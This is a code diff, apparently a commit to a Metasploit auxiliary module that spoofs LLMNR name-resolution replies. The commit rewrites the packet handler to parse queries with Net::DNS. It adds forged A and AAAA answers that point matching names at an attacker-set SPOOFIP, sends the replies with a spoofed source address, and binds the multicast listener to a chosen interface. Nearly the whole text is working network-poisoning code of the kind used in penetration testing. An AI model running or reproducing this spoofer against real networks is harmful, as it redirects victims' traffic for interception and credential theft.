8
8
require 'msf/core'
9
9
require 'socket'
10
10
require 'ipaddr'
11
+ require 'net/dns'
11
12
12
13
class Metasploit3 < Msf ::Auxiliary
13
14
@@ -57,80 +58,92 @@ def initialize
57
58
self . sock = nil
58
59
end
59
60
60
- def dispatch_request ( packet , addr )
61
- rhost = addr [ 0 ]
62
- src_port = addr [ 1 ]
63
-
64
- # Getting info from the request packet
65
- llmnr_transid = packet [ 0 ..1 ]
66
- llmnr_flags = packet [ 2 ..3 ]
67
- llmnr_questions = packet [ 4 ..5 ]
68
- llmnr_answerrr = packet [ 6 ..7 ]
69
- llmnr_authorityrr = packet [ 8 ..9 ]
70
- llmnr_additionalrr = packet [ 10 ..11 ]
71
- llmnr_name_length = packet [ 12 ..12 ]
72
- name_end = 13 + llmnr_name_length . unpack ( 'C' ) [ 0 ] . to_int
73
- llmnr_name = packet [ 13 ..name_end -1 ]
74
- llmnr_name_and_length = packet [ 12 ..name_end ]
75
- llmnr_type = packet [ name_end +1 ..name_end +2 ]
76
- llmnr_class = packet [ name_end +3 ..name_end +4 ]
77
-
78
- llmnr_decodedname = llmnr_name . unpack ( 'a*' ) [ 0 ] . to_s
79
-
80
- if datastore [ 'DEBUG' ]
81
- print_status ( "Received Packet from: #{ rhost } :#{ src_port } " )
82
- print_status ( "transid: #{ llmnr_transid . unpack ( 'H4' ) } " )
83
- print_status ( "tlags: #{ llmnr_flags . unpack ( 'B16' ) } " )
84
- print_status ( "questions: #{ llmnr_questions . unpack ( 'n' ) } " )
85
- print_status ( "answerrr: #{ llmnr_answerrr . unpack ( 'n' ) } " )
86
- print_status ( "authorityrr: #{ llmnr_authorityrr . unpack ( 'n' ) } " )
87
- print_status ( "additionalrr: #{ llmnr_additionalrr . unpack ( 'n' ) } " )
88
- print_status ( "name length: #{ llmnr_name_length . unpack ( 'c' ) } " )
89
- print_status ( "name: #{ llmnr_name . unpack ( 'a*' ) } " )
90
- print_status ( "decodedname: #{ llmnr_decodedname } " )
91
- print_status ( "type: #{ llmnr_type . unpack ( 'n' ) } " )
92
- print_status ( "class: #{ llmnr_class . unpack ( 'n' ) } " )
61
+ def dispatch_request ( packet , rhost , src_port )
62
+ rhost = ::IPAddr . new ( rhost )
63
+
64
+ # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
65
+ # addr like "::ffff:192.168.0.1" when the interface we're listening
66
+ # on has an IPv6 address. Convert it to just the v4 addr
67
+ if rhost . ipv4_mapped?
68
+ rhost = rhost . native
93
69
end
94
70
95
- if ( llmnr_decodedname =~ /#{ datastore [ 'REGEX' ] } /i )
96
- # Header
97
- response = llmnr_transid
98
- response << "\x80 \x00 " # Flags TODO add details
99
- response << "\x00 \x01 " # Questions = 1
100
- response << "\x00 \x01 " # Answer RRs = 1
101
- response << "\x00 \x00 " # Authority RRs = 0
102
- response << "\x00 \x00 " # Additional RRs = 0
103
- # Query part
104
- response << llmnr_name_and_length
105
- response << llmnr_type
106
- response << llmnr_class
107
- # Answer part
108
- response << llmnr_name_and_length
109
- response << llmnr_type
110
- response << llmnr_class
111
- response << [ datastore [ 'TTL' ] ] . pack ( "N" ) #Default 5 minutes
112
- response << "\x00 \x04 " # Datalength = 4
113
- response << Rex ::Socket . addr_aton ( datastore [ 'SPOOFIP' ] )
114
-
115
- open_pcap
116
- # Sending UDP unicast response
117
- p = PacketFu ::UDPPacket . new
118
- p . ip_saddr = Rex ::Socket . source_address ( rhost )
119
- p . ip_daddr = rhost
120
- p . ip_ttl = 255
121
- p . udp_sport = 5355 # LLMNR UDP port
122
- p . udp_dport = src_port # Port used by sender
123
- p . payload = response
124
- p . recalc
125
-
126
- capture_sendto ( p , rhost , true )
127
- if should_print_reply? ( llmnr_decodedname )
128
- print_good ( "#{ Time . now . utc } : Reply for #{ llmnr_decodedname } sent to #{ rhost } with spoofed IP #{ datastore [ 'SPOOFIP' ] } " )
129
- end
130
- close_pcap
71
+ dns_pkt = ::Net ::DNS ::Packet . parse ( packet )
72
+ spoof = ::IPAddr . new ( datastore [ 'SPOOFIP' ] )
73
+
74
+ # Turn this packet into a response
75
+ dns_pkt . header . qr = 1
76
+
77
+ dns_pkt . question . each do |question |
78
+ name = question . qName
79
+ unless name =~ /#{ datastore [ 'REGEX' ] } /i
80
+ vprint_status ( "#{ rhost . to_s . ljust 16 } llmnr - #{ name } did not match REGEX \" #{ datastore [ 'REGEX' ] } \" " )
81
+ next
82
+ end
83
+
84
+ if should_print_reply? ( name )
85
+ print_good ( "#{ rhost . to_s . ljust 16 } llmnr - #{ name } matches regex, responding with #{ datastore [ 'SPOOFIP' ] } " )
86
+ end
87
+
88
+ # qType is not a Fixnum, so to compare it with `case` we have to
89
+ # convert it
90
+ case question . qType . to_i
91
+ when ::Net ::DNS ::A
92
+ dns_pkt . answer << ::Net ::DNS ::RR ::A . new (
93
+ :name => name ,
94
+ :ttl => 30 ,
95
+ :cls => ::Net ::DNS ::IN ,
96
+ :type => ::Net ::DNS ::A ,
97
+ :address => spoof . to_s
98
+ )
99
+ when ::Net ::DNS ::AAAA
100
+ dns_pkt . answer << ::Net ::DNS ::RR ::AAAA . new (
101
+ :name => name ,
102
+ :ttl => 30 ,
103
+ :cls => ::Net ::DNS ::IN ,
104
+ :type => ::Net ::DNS ::AAAA ,
105
+ :address => ( spoof . ipv6? ? spoof : spoof . ipv4_mapped ) . to_s
106
+ )
107
+ else
108
+ print_warning ( "#{ rhost . to_s . ljust 16 } llmnr - Unknown RR type, this shouldn't happen. Skipping" )
109
+ next
110
+ end
111
+ end
112
+
113
+ # If we didn't find anything we want to spoof, don't send any
114
+ # packets
115
+ return if dns_pkt . answer . empty?
116
+
117
+ udp = ::PacketFu ::UDPHeader . new (
118
+ :udp_src => 5355 ,
119
+ :udp_dst => src_port ,
120
+ :body => dns_pkt . data
121
+ )
122
+ udp . udp_recalc
123
+ if rhost . ipv4?
124
+ ip_pkt = ::PacketFu ::IPPacket . new (
125
+ :ip_src => spoof . hton ,
126
+ :ip_dst => rhost . hton ,
127
+ :ip_proto => 0x11 , # UDP
128
+ :body => udp
129
+ )
130
+ elsif rhost . ipv6?
131
+ ip_pkt = ::PacketFu ::IPv6Packet . new (
132
+ :ipv6_src => spoof . hton ,
133
+ :ipv6_dst => rhost . hton ,
134
+ :ip_proto => 0x11 , # UDP
135
+ :body => udp
136
+ )
131
137
else
132
- vprint_status ( "Packet received from #{ rhost } with name #{ llmnr_decodedname } did not match REGEX \" #{ datastore [ 'REGEX' ] } \" " )
138
+ # Should never get here
139
+ print_error ( "IP version is not 4 or 6. Failed to parse?" )
140
+ return
133
141
end
142
+ ip_pkt . recalc
143
+
144
+ open_pcap
145
+ capture_sendto ( ip_pkt , rhost . to_s , true )
146
+ close_pcap
134
147
end
135
148
136
149
def monitor_socket
@@ -143,8 +156,7 @@ def monitor_socket
143
156
144
157
if ( r != nil and r [ 0 ] == self . sock )
145
158
packet , host , port = self . sock . recvfrom ( 65535 )
146
- addr = [ host , port ]
147
- dispatch_request ( packet , addr )
159
+ dispatch_request ( packet , host , port )
148
160
end
149
161
end
150
162
end
@@ -168,16 +180,23 @@ def run
168
180
check_pcaprub_loaded ( )
169
181
::Socket . do_not_reverse_lookup = true
170
182
171
- multicast_addr = "224.0.0.252" #Multicast Address for LLMNR
183
+ # Multicast Address for LLMNR
184
+ multicast_addr = ::IPAddr . new ( "224.0.0.252" )
185
+
186
+ # The bind address here will determine which interface we receive
187
+ # multicast packets from. If the address is INADDR_ANY, we get them
188
+ # from all interfaces, so try to restrict if we can, but fall back
189
+ # if we can't
190
+ bind_addr = get_ipv4_addr ( datastore [ "INTERFACE" ] ) rescue "0.0.0.0"
172
191
173
- optval = :: IPAddr . new ( multicast_addr ) . hton + ::IPAddr . new ( "0.0.0.0" ) . hton
192
+ optval = multicast_addr . hton + ::IPAddr . new ( bind_addr ) . hton
174
193
self . sock = Rex ::Socket . create_udp (
194
+ # This must be INADDR_ANY to receive multicast packets
175
195
'LocalHost' => "0.0.0.0" ,
176
196
'LocalPort' => 5355 )
177
197
self . sock . setsockopt ( ::Socket ::SOL_SOCKET , ::Socket ::SO_REUSEADDR , 1 )
178
198
self . sock . setsockopt ( ::Socket ::IPPROTO_IP , ::Socket ::IP_ADD_MEMBERSHIP , optval )
179
199
180
-
181
200
self . thread = Rex ::ThreadFactory . spawn ( "LLMNRServerMonitor" , false ) {
182
201
monitor_socket
183
202
}
0 commit comments